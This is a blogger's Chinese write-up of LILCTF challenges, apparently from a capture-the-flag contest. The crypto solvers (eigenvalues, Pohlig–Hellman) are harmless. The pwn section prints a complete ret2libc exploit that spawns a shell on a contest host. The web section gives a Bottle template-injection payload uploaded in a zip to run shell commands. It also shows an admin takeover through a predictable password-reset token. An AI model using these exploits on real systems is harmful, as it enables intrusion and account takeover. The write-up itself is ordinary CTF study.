比赛这两天一直在驾校练车,没时间打比赛,所以没出几道,排名也是很拉,就不放截图了

CRYPTO

密码没学过,全是ai

ez_math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from sage.all import *
from Crypto.Util.number import *

flag = b'LILCTF{test_flag}'[7:-1]
lambda1 = bytes_to_long(flag[:len(flag)//2])
lambda2 = bytes_to_long(flag[len(flag)//2:])
p = getPrime(512)
def mul(vector, c):
return [vector[0]*c, vector[1]*c]

v1 = [getPrime(128), getPrime(128)]
v2 = [getPrime(128), getPrime(128)]

A = matrix(GF(p), [v1, v2])
B = matrix(GF(p), [mul(v1,lambda1), mul(v2,lambda2)])
C = A.inverse() * B

print(f'p = {p}')
print(f'C = {str(C).replace(" ", ",").replace("\n", ",").replace("[,", "[")}')

# p = 9620154777088870694266521670168986508003314866222315790126552504304846236696183733266828489404860276326158191906907396234236947215466295418632056113826161
# C = [7062910478232783138765983170626687981202937184255408287607971780139482616525215270216675887321965798418829038273232695370210503086491228434856538620699645,7096268905956462643320137667780334763649635657732499491108171622164208662688609295607684620630301031789132814209784948222802930089030287484015336757787801],[7341430053606172329602911405905754386729224669425325419124733847060694853483825396200841609125574923525535532184467150746385826443392039086079562905059808,2557244298856087555500538499542298526800377681966907502518580724165363620170968463050152602083665991230143669519866828587671059318627542153367879596260872]

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
# -*- coding: utf-8 -*-
# Recover lambda1, lambda2 from C = A^{-1} * (diag(lambda1, lambda2) * A)
# Key: eigenvalues(C) over GF(p) are exactly lambda1, lambda2 (mod p).

from Crypto.Util.number import long_to_bytes

# ======= 填入已知参数(可替换)=======
p = 9620154777088870694266521670168986508003314866222315790126552504304846236696183733266828489404860276326158191906907396234236947215466295418632056113826161
C = [
[7062910478232783138765983170626687981202937184255408287607971780139482616525215270216675887321965798418829038273232695370210503086491228434856538620699645,
7096268905956462643320137667780334763649635657732499491108171622164208662688609295607684620630301031789132814209784948222802930089030287484015336757787801],
[7341430053606172329602911405905754386729224669425325419124733847060694853483825396200841609125574923525535532184467150746385826443392039086079562905059808,
2557244298856087555500538499542298526800377681966907502518580724165363620170968463050152602083665991230143669519866828587671059318627542153367879596260872]
]
# 如果你要换数据,把上面 p、C 两个块替换掉即可。

# ======= 工具函数(Tonelli–Shanks 求模平方根,适用于任意奇素数 p)=======
def tonelli_shanks(n, p):
"""Solve x^2 ≡ n (mod p) for odd prime p. Return one root or None."""
n %= p
if n == 0:
return 0
# Legendre symbol: n^((p-1)/2) ≡ 1 (residue) or p-1 (non-residue)
if pow(n, (p - 1) // 2, p) == p - 1:
return None # not a quadratic residue
# Factor p-1 = q * 2^s with q odd
q = p - 1
s = 0
while q % 2 == 0:
q //= 2
s += 1
# Find a quadratic non-residue z
z = 2
while pow(z, (p - 1) // 2, p) != p - 1:
z += 1
c = pow(z, q, p)
x = pow(n, (q + 1) // 2, p)
t = pow(n, q, p)
m = s
while t != 1:
# find smallest i (0 < i < m) s.t. t^(2^i) == 1
i = 1
t2i = pow(t, 2, p)
while i < m and t2i != 1:
t2i = pow(t2i, 2, p)
i += 1
b = pow(c, 1 << (m - i - 1), p)
x = (x * b) % p
t = (t * b * b) % p
c = (b * b) % p
m = i
return x # one of the square roots; the other is p - x

def inv(a, p):
return pow(a, p - 2, p) # Fermat, since p is prime

def clean_bytes(x: int) -> bytes:
return long_to_bytes(x).lstrip(b"\x00") # 去掉可能的前导 0

# ======= 计算特征值(即 lambda1, lambda2)=======
a, b = C[0]
c, d = C[1]
a %= p; b %= p; c %= p; d %= p

trace = (a + d) % p
det = (a * d - b * c) % p
disc = (trace * trace - 4 * det) % p # 判别式 Δ

sqrt_disc = tonelli_shanks(disc, p)
if sqrt_disc is None:
raise ValueError("判别式不是二次剩余,数据可能不一致或已损坏。")

inv2 = inv(2, p)
lam1 = ((trace + sqrt_disc) * inv2) % p
lam2 = ((trace - sqrt_disc) * inv2) % p

print("[+] lambda1 =", lam1)
print("[+] lambda2 =", lam2)

# ======= 尝试复原明文字节并给出候选 flag =======
half1 = clean_bytes(lam1)
half2 = clean_bytes(lam2)

candidates = [
(half1 + half2, "λ1 || λ2"),
(half2 + half1, "λ2 || λ1"),
]

KNOWN_PREFIX = b"LILCTF{"
KNOWN_SUFFIX = b"}"

for body, desc in candidates:
print(f"\n[+] Candidate ({desc})")
print(" body bytes (hex):", body.hex())
try:
print(" body utf-8 :", body.decode("utf-8"))
except UnicodeDecodeError:
print(" body utf-8 : <decode failed>")

flag_bytes = KNOWN_PREFIX + body + KNOWN_SUFFIX
print(" flag bytes(hex):", flag_bytes.hex())
try:
print(" FLAG (utf-8) :", flag_bytes.decode("utf-8"))
except UnicodeDecodeError:
print(" FLAG (utf-8) : <decode failed>")

LILCTF{It_w4s_the_be5t_of_times_1t_wa5_the_w0rst_of_t1me5}

mid_math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from sage.all import *
from Crypto.Util.number import *
from tqdm import tqdm
from random import randint
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

flag = b'LILCTF{test_flag}'

p = getPrime(64)
P = GF(p)

key = randint(2**62, p)

def mul(vector, c):
return [vector[0]*c, vector[1]*c, vector[2]*c, vector[3]*c, vector[4]*c]

v1 = [getPrime(64), getPrime(64), getPrime(64), getPrime(64), getPrime(64)]
v2 = [getPrime(64), getPrime(64), getPrime(64), getPrime(64), getPrime(64)]
v3 = [getPrime(64), getPrime(64), getPrime(64), getPrime(64), getPrime(64)]
v4 = [getPrime(64), getPrime(64), getPrime(64), getPrime(64), getPrime(64)]
v5 = [getPrime(64), getPrime(64), getPrime(64), getPrime(64), getPrime(64)]
a, b, c, d, e = getPrime(64), getPrime(64), getPrime(64), getPrime(64), 0

A = matrix(P, [v1, v2, v3, v4, v5])
B = matrix(P, [mul(v1,a), mul(v2,b), mul(v3, c), mul(v4, d), mul(v5, e)])
C = A.inverse() * B
D = C**key

key = pad(long_to_bytes(key), 16)
aes = AES.new(key,AES.MODE_ECB)
msg = aes.encrypt(pad(flag, 64))

print(f"p = {p}")
print(f'C = {[i for i in C]}'.replace('(', '[').replace(')', ']'))
print(f'D = {[i for i in D]}'.replace('(', '[').replace(')', ']'))
print(f"msg = {msg}")

#p = 14668080038311483271
#C = [[11315841881544731102, 2283439871732792326, 6800685968958241983, 6426158106328779372, 9681186993951502212], [4729583429936371197, 9934441408437898498, 12454838789798706101, 1137624354220162514, 8961427323294527914], [12212265161975165517, 8264257544674837561, 10531819068765930248, 4088354401871232602, 14653951889442072670], [6045978019175462652, 11202714988272207073, 13562937263226951112, 6648446245634067896, 13902820281072641413], [1046075193917103481, 3617988773170202613, 3590111338369894405, 2646640112163975771, 5966864698750134707]]
#D = [[1785348659555163021, 3612773974290420260, 8587341808081935796, 4393730037042586815, 10490463205723658044], [10457678631610076741, 1645527195687648140, 13013316081830726847, 12925223531522879912, 5478687620744215372], [9878636900393157276, 13274969755872629366, 3231582918568068174, 7045188483430589163, 5126509884591016427], [4914941908205759200, 7480989013464904670, 5860406622199128154, 8016615177615097542, 13266674393818320551], [3005316032591310201, 6624508725257625760, 7972954954270186094, 5331046349070112118, 6127026494304272395]]
#msg = b"\xcc]B:\xe8\xbc\x91\xe2\x93\xaa\x88\x17\xc4\xe5\x97\x87@\x0fd\xb5p\x81\x1e\x98,Z\xe1n`\xaf\xe0%:\xb7\x8aD\x03\xd2Wu5\xcd\xc4#m'\xa7\xa4\x80\x0b\xf7\xda8\x1b\x82k#\xc1gP\xbd/\xb5j"




exp:

先用这个脚本跑出aes的key,但是flag是乱码,是因为把 AES 密钥用「补零」填充了,但出题脚本是用 pad(long_to_bytes(key), 16)(也就是 PKCS#7)去填充 AES key 的。把 AES key 按 PKCS#7 填充后再解密就能得到正确明文(然后对明文再用 blocksize=64 的 PKCS#7 去掉 padding)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
# solve.py  -- pure Python exp (no Sage)
import math
from collections import Counter
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from Crypto.Util.Padding import unpad
import sympy as sp

# --------------------- paste instance data here ---------------------
p = 14668080038311483271
C = [
[11315841881544731102, 2283439871732792326, 6800685968958241983, 6426158106328779372, 9681186993951502212],
[4729583429936371197, 9934441408437898498, 12454838789798706101, 1137624354220162514, 8961427323294527914],
[12212265161975165517, 8264257544674837561, 10531819068765930248, 4088354401871232602, 14653951889442072670],
[6045978019175462652, 11202714988272207073, 13562937263226951112, 6648446245634067896, 13902820281072641413],
[1046075193917103481, 3617988773170202613, 3590111338369894405, 2646640112163975771, 5966864698750134707],
]
D = [
[1785348659555163021, 3612773974290420260, 8587341808081935796, 4393730037042586815, 10490463205723658044],
[10457678631610076741, 1645527195687648140, 13013316081830726847, 12925223531522879912, 5478687620744215372],
[9878636900393157276, 13274969755872629366, 3231582918568068174, 7045188483430589163, 5126509884591016427],
[4914941908205759200, 7480989013464904670, 5860406622199128154, 8016615177615097542, 13266674393818320551],
[3005316032591310201, 6624508725257625760, 7972954954270186094, 5331046349070112118, 6127026494304272395],
]
msg = b"\xcc]B:\xe8\xbc\x91\xe2\x93\xaa\x88\x17\xc4\xe5\x97\x87@\x0fd\xb5p\x81\x1e\x98,Z\xe1n`\xaf\xe0%:\xb7\x8aD\x03\xd2Wu5\xcd\xc4#m'\xa7\xa4\x80\x0b\xf7\xda8\x1b\x82k#\xc1gP\xbd/\xb5j"
# -------------------------------------------------------------------

def mat_eigs_modp(M_list, p):
"""Return eigenvalues of integer matrix modulo p (with multiplicity)."""
M = sp.Matrix([[x % p for x in row] for row in M_list])
lam = sp.symbols('lam')
# charpoly over ZZ then reduce mod p to avoid Mod-wrapping headaches
cpZZ = sp.Poly(M.charpoly(lam).as_expr(), lam, domain='ZZ')
coeffs = [int(c) % p for c in cpZZ.all_coeffs()]
poly_mod = sp.Poly(
sum(coeffs[i] * lam ** (len(coeffs) - 1 - i) for i in range(len(coeffs))),
lam, modulus=p
)
# factor over F_p
_, factors = poly_mod.factor_list()
eigs = []
for fac, mult in factors:
# fac is (lam - alpha) or lam + beta, all linear over F_p for our instance
if fac.degree() != 1:
# Fallback: numerically find roots over F_p (rare)
# Try brute over small deg - should not happen for 5x5 here
raise ValueError("Nonlinear factor appeared; adjust routine.")
# root of a*lam + b ≡ 0 => lam ≡ -b * a^{-1}
a = fac.all_coeffs()[0] % p
b = fac.all_coeffs()[1] % p
root = (-b * pow(a, -1, p)) % p
eigs.extend([root] * mult)
return eigs

def crt(remainders, moduli):
"""Chinese remainder theorem, pairwise coprime moduli."""
x, M = 0, 1
for (r, m) in zip(remainders, moduli):
# solve x ≡ r (mod m) and x ≡ x (mod M)
# -> find t: M*t ≡ (r - x) (mod m)
t = ((r - x) * pow(M, -1, m)) % m
x += M * t
M *= m
return x % M, M

def baby_step_giant_step(g, h, p, order):
"""Solve g^x = h in subgroup of order 'order' ⊂ F_p^* using BSGS."""
m = int(math.isqrt(order)) + 1
# baby steps: g^0..g^{m-1}
table = {}
e = 1
for j in range(m):
table.setdefault(e, j)
e = (e * g) % p
g_inv_m = pow(pow(g, m, p), -1, p)
gamma = h
for i in range(m + 1):
if gamma in table:
return (i * m + table[gamma]) % order
gamma = (gamma * g_inv_m) % p
raise ValueError("log not found (inconsistent inputs)")

def discrete_log_pohlig_hellman(g, h, p):
"""Return x s.t. g^x = h mod p, using PH over factors of p-1."""
n = p - 1
# factorization of n (64-bit here; sympy is fine). If too slow for you, replace with Pollard-Rho.
fac = sp.factorint(n) # {q: e}
residues = []
moduli = []
for q, e in fac.items():
q_pow = q ** e
# Work in subgroup of order q_pow
# Set g1 = g^{n/q_pow}, h1 = h^{n/q_pow}
g1 = pow(g, n // q_pow, p)
h1 = pow(h, n // q_pow, p)
# Solve for x modulo q_pow by lifting (standard PH lifting)
x_qe = 0
g_inv = pow(g1, -1, p)
for k in range(e):
# Compute c_k = h1 * (g1^{-x_qe})^{1} then raise to (q^{e-1-k})
c = (h1 * pow(g_inv, x_qe, p)) % p
# exponent to collapse to order q
exp = pow(q, e - 1 - k)
c_k = pow(c, exp, p)
g_k = pow(g1, exp, p)
d = baby_step_giant_step(g_k, c_k, p, q) # in subgroup of order q
x_qe = x_qe + d * pow(q, k)
residues.append(x_qe)
moduli.append(q_pow)
x, _ = crt(residues, moduli)
return x % n

def recover_key_from_eigs(p, eigC, eigD):
"""Try all pairings; return the consistent key (mod p-1)."""
nonzeroC = [x for x in eigC if x % p != 0]
nonzeroD = [x for x in eigD if x % p != 0]
candidates = []
for lam in nonzeroC:
for mu in nonzeroD:
# same subgroup check
if mu == 1 and lam == 1:
candidates.append(0)
continue
try:
k = discrete_log_pohlig_hellman(lam % p, mu % p, p)
except Exception:
continue
candidates.append(k)
if not candidates:
raise RuntimeError("No candidate keys found.")
# pick the most frequent k (they应当一致)
k, _ = Counter(candidates).most_common(1)[0]
return k

def main():
eigC = mat_eigs_modp(C, p)
eigD = mat_eigs_modp(D, p)
# print("eigC =", eigC)
# print("eigD =", eigD)

key_mod = recover_key_from_eigs(p, eigC, eigD)
# key is in [2^62, p), 但我们只需要与 p-1 同余,即用于 AES 不影响(原题直接 pad(long_to_bytes(key),16))
key_bytes = long_to_bytes(key_mod)
# pad 至 16 的倍数与出题脚本一致
padlen = (16 - (len(key_bytes) % 16)) % 16
if padlen:
key_bytes = key_bytes + b"\x00" * padlen

aes = AES.new(key_bytes, AES.MODE_ECB)
pt = aes.decrypt(msg)
# 原题对 flag 做了 pad(flag, 64)
try:
flag = unpad(pt, 64)
except ValueError:
# 如果出题脚本用了固定 blocksize=64 的 pad,这里尝试手动剥离
# 简单兜底:去掉末尾整块的 PKCS#7(若失败就直接打印原文)
try:
flag = unpad(pt, 16)
except ValueError:
flag = pt

print("[+] key (mod p-1) =", key_mod)
print("[+] AES key bytes (padded) =", key_bytes)
print("[+] flag =", flag)

if __name__ == "__main__":
main()

然后再用这个脚本,套上上面的key就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# 修正:正确用 PKCS#7 pad(key_bytes, 16) 作为 AES key
import math
from collections import Counter
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from Crypto.Util.Padding import unpad, pad
import sympy as sp
from tqdm import tqdm

p = 14668080038311483271
# 省略 C, D, msg 定义(与你之前的一样)
C = [
[11315841881544731102, 2283439871732792326, 6800685968958241983, 6426158106328779372, 9681186993951502212],
[4729583429936371197, 9934441408437898498, 12454838789798706101, 1137624354220162514, 8961427323294527914],
[12212265161975165517, 8264257544674837561, 10531819068765930248, 4088354401871232602, 14653951889442072670],
[6045978019175462652, 11202714988272207073, 13562937263226951112, 6648446245634067896, 13902820281072641413],
[1046075193917103481, 3617988773170202613, 3590111338369894405, 2646640112163975771, 5966864698750134707],
]
D = [
[1785348659555163021, 3612773974290420260, 8587341808081935796, 4393730037042586815, 10490463205723658044],
[10457678631610076741, 1645527195687648140, 13013316081830726847, 12925223531522879912, 5478687620744215372],
[9878636900393157276, 13274969755872629366, 3231582918568068174, 7045188483430589163, 5126509884591016427],
[4914941908205759200, 7480989013464904670, 5860406622199128154, 8016615177615097542, 13266674393818320551],
[3005316032591310201, 6624508725257625760, 7972954954270186094, 5331046349070112118, 6127026494304272395],
]
msg = b"\xcc]B:\xe8\xbc\x91\xe2\x93\xaa\x88\x17\xc4\xe5\x97\x87@\x0fd\xb5p\x81\x1e\x98,Z\xe1n`\xaf\xe0%:\xb7\x8aD\x03\xd2Wu5\xcd\xc4#m'\xa7\xa4\x80\x0b\xf7\xda8\x1b\x82k#\xc1gP\xbd/\xb5j"

# (省略前面求特征值、PH、BSGS 的函数 —— 和之前脚本一致)
# 你可以继续沿用之前的 mat_eigs_modp()、discrete_log_pohlig_hellman()、recover_key() 等函数
# 假设我们已得到了 key_mod(即之前你打印出来的 5273966641785501202)

key_mod = 5273966641785501202 # 由你先前输出得到

def try_keys_and_decrypt(key_candidate_int):
# 出题脚本用 pad(long_to_bytes(key), 16) 作为 AES key
kb = long_to_bytes(key_candidate_int)
aes_key = pad(kb, 16) # <-- 关键改动:用 PKCS#7 填充到 16 字节边界
aes = AES.new(aes_key, AES.MODE_ECB)
pt = aes.decrypt(msg)
# 题里对 flag 做了 pad(flag, 64) —— 所以这里用 blocksize=64 去 unpad
try:
plain = unpad(pt, 64)
return plain
except ValueError:
return None

# 直接试 key_mod(通常就是正确的,因为 key 原本在 [2**62, p))
res = try_keys_and_decrypt(key_mod)
if res:
print("[+] success with key_mod ->", res)
else:
# 如果不成功,尝试 key_mod + t*(p-1) 在允许范围内的候选(理论上 key < p)
found = None
step = p - 1
# 只需要尝试很少几个 t,因原 key 位于 [2**62, p)
for t in range(0, 3):
candidate = key_mod + t * step
if candidate >= 2**62 and candidate < p:
res = try_keys_and_decrypt(candidate)
if res:
found = (candidate, res)
break
if found:
print("[+] found by adding multiple of (p-1):", found)
else:
print("[-] decrypt failed for tested candidates. 可能需要检查 key 恢复步骤。")

这时候就有屏幕前的家人问了,主播主播,你为什么不把两个脚本合并起来呢,因为我也不知道为什么合并起来就 MemoryError 了,于是只能作罢,反正题做出来了

LILCTF{Are_y0u_5till_4wake_que5t1on_m4ker!}

PWN

签到

打ret2libc,通过拼接 puts_plt(puts_got) 打印出puts函数的真实地址,泄露 libc 库的偏移量。 然后通过给定的 libc 库,计算出出目标的 system 地址和 “/bin/sh” 地址, 最后拼接 systme(“/bin/sh”) 完成 getshell

理论是这样的,但是作为一个根本没学过 pwn 的菜鸡来说,还是太吃操作了,所以就不贴我的错误 exp 了,找了个大佬的 exp 来,说实话比我写的简洁多了,不愧是大佬

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context(arch = 'amd64', os = 'linux', log_level = 'debug')

elf = ELF("./pwn")

libc = ELF("./libc.so.6")

port = remote("challenge.xinshi.fun",41148)

puts_plt = elf.plt["puts"]

puts_got = elf.got["puts"]

main = 0x401178

pop_rdi = 0x0000000000401176

ret = 0x000000000040101a

success("puts_plt ==> " + hex(puts_plt) + '\n' + "pust_got ==>" + hex(puts_got) )

payload_test = b'a'*0x70 + b'a'*0x8 + p64(ret) +p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)

port.sendafter(b"What's your name?", payload_test)

address = u64(port.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

success("address ==> " + hex(address))

base = address - libc.symbols["puts"]

success("base ==>" + hex(base))

system = base + libc.symbols["system"]

sh_str = base + libc.search("/bin/sh\x00").__next__()

success("system ==> " + hex(system) + '\n' + "sh_str ==>" + hex(sh_str) )

payload = b'a'*0x70 + b'a'*0x8 +p64(pop_rdi) + p64(sh_str) + p64(system) + p64(main)

port.send(payload)

port.interactive()

WEB

ez_bottle

bottle 居然不是 LamentXU 大佬来出还是有点出乎意料的

python SSTI,过滤很阴,但是没有过滤 %

return template(content) 模板会渲染解压后的内容

不知道为什么没有回显,可以走 static 出回显

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import zipfile
import io

fcontent = f"%import sys;sys.modules['ciallo']=sys.modules['\\x6fs'];import ciallo;ciallo.system('cat /flag \\x3e static/a.txt')"

zfio = io.BytesIO()
zf = zipfile.ZipFile(zfio, 'w')
zf.writestr('ciallo.txt', fcontent)
zf.close()

TARGET="http://challenge.xinshi.fun:41479"

# 上传 zip
resp = requests.post(f"{TARGET}/upload", files={'file': ('ciallo.zip', zfio.getvalue())})
print(resp.text)

# 访问 txt 文件
visit_path = resp.text.splitlines()[1][4:]
resp = requests.get(f"{TARGET}{visit_path}")
print(resp.text)

# 读取 flag
resp = requests.get(f"{TARGET}/static/a.txt")
print(resp.text)

Ekko note

比赛之前有翻过 LamentXU 大佬的文章,有一篇就是 uuid8,根据这个我们可以知道这道题的版本是 3.13+

1
2
3
4
# 欸我艹这两行代码测试用的忘记删了,欸算了都发布了,我们都在用力地活着,跟我的下班说去吧。
# 反正整个程序没有一个地方用到random库。应该没有什么问题。
import random
random.seed(SERVER_START_TIME)

源码中给两段这个那就肯定要利用这个

1
2
3
4
5
6
7
@app.route('/server_info')
@login_required
def server_info():
return {
'server_start_time': SERVER_START_TIME,
'current_time': time.time()
}
1
2
3
4
5
6
7
if user:
# 选哪个UUID版本好呢,好头疼 >_<
# UUID v8吧,看起来版本比较新
token = str(uuid.uuid8(a=padding(user.username))) # 可以自定义参数吗原来,那把username放进去吧
reset_token = PasswordResetToken(user_id=user.id, token=token)
db.session.add(reset_token)
db.session.commit()

token 值可获取,就是个 random 伪随机

这里我们用 3.13.5 的环境去执行获取 token 的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import uuid
import random

random.seed(1755241270.5513663)

def padding(input_string):
byte_string = input_string.encode('utf-8')
if len(byte_string) > 6: byte_string = byte_string[:6]
padded_byte_string = byte_string.ljust(6, b'\x00')
padded_int = int.from_bytes(padded_byte_string, byteorder='big')
return padded_int

token = str(uuid.uuid8(a=padding("admin")))
print(token)

61646d69-6e00-8483-8219-c921bd0a5eb8

重置 admin 的密码,然后登录进去,进入管理员界面会显示 2066 年后才能用,那我们直接改个timeapi,在2066年之后就好

监听静态⽂件

python3 -m http.server 20000

修改timeapi服务器为 http://test.xxxx.com:20000/time.json

然后执⾏命令cat flag